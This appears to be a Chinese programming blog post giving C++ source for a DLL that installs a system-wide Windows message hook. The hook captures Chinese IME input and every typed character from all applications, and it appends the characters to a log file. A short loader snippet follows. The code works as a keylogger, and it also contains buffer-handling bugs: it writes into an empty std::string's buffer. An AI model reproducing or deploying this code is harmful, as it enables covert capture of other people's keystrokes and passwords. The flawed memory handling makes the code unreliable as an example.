截取中文字符串

//动态库 部分/

 

///HookIME.cpp 部分

 

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include <windows.h>
#include <imm.h>
#include <stdio.h>
#include <string>
#include <sstream>
#define HOOK_API __declspec(dllexport)

HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
std::string g_strLast;//最后得到的中文汉字

///得到中文字符串
HOOK_API std::string GetString()
{
 return g_strLast;
}

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
 LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
 PMSG pmsg = (PMSG)lParam; 
 char ch;
 if (nCode == HC_ACTION)
 {

  switch (pmsg->message)
  {
  case WM_IME_COMPOSITION:
   {
    HIMC hIMC;
    HWND hWnd=pmsg->hwnd;
    DWORD dwSize;
    std::string lpstr("");


    if(pmsg->lParam & GCS_RESULTSTR)
    {
     //先获取当前正在输入的窗口的输入法句柄
     hIMC = ImmGetContext(hWnd);
     if (!hIMC)
     {
      MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
     }

     // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
     dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

     // 缓冲区大小要加上字符串的NULL结束符大小,
     // 考虑到UNICODE
     dwSize += sizeof(WCHAR);

     memset(const_cast<char*>(lpstr.c_str()), 0, 20);

     // 再调用一次.ImmGetCompositionString获取字符串
     ImmGetCompositionString(hIMC, GCS_RESULTSTR, const_cast<char*>(lpstr.c_str()), dwSize);

     //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
     char* mb = const_cast<char*>(lpstr.c_str());
     g_strLast = mb;
     //MessageBox(NULL, mb, mb, MB_OK); ///测试用
     ImmReleaseContext(hWnd, hIMC);
    }
   }
   break;
  case WM_CHAR: //截获发向焦点窗口的键盘消息
   {
    FILE* f1;
    f1 = fopen("..//dll_report.txt","a+");
    ch=(char)(pmsg->wParam);
    fwrite(&ch,1,1,f1);
    fclose(f1);
   }
   break;
  }
 }

 return(lResult);
}

HOOK_API BOOL InstallHook()
{
 g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
 return TRUE;
}

HOOK_API BOOL UnHook()
{
 return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HINSTANCE hModule,
       DWORD ul_reason_for_call,
       LPVOID lpReserved
       )
{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  g_hHinstance = hModule;
  break;
 case DLL_THREAD_ATTACH:
  break;
 case DLL_THREAD_DETACH:
  break;
 case DLL_PROCESS_DETACH:
  UnHook();
  break;
 }
 return TRUE;
}

//

///HookIME.def 部分

//

LIBRARY "HookIME"
 EXPORTS
    InstallHook
    GetString

 

///

应用程序部分/

///

 

 

 ///
 ///hook  + ime 处理 中文输入!  截取中文字符串
 ///

 typedef BOOL (*LPINSTALLHOOK)(void);
 LPINSTALLHOOK  lpInstallHook;


typedef std::string (*LPGETSTRING)(void);
LPGETSTRING lpGetString;

 

 HINSTANCE dllHookIME = LoadLibrary("HookIME.dll");
 
 if(NULL == dllHookIME)
  return 0;

 lpInstallHook = (LPINSTALLHOOK)GetProcAddress(dllHookIME, "InstallHook");

 if(NULL == lpInstallHook)
 {
  FreeLibrary(dllHookIME);
  return 0;
 }
 
 lpInstallHook();


 lpGetString = (LPGETSTRING)GetProcAddress(dllHookIME, "GetString");
 if(NULL == lpGetString)
  return 0;

 ///

 

 得到汉字的接口:std::string strTest = lpGetString();

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值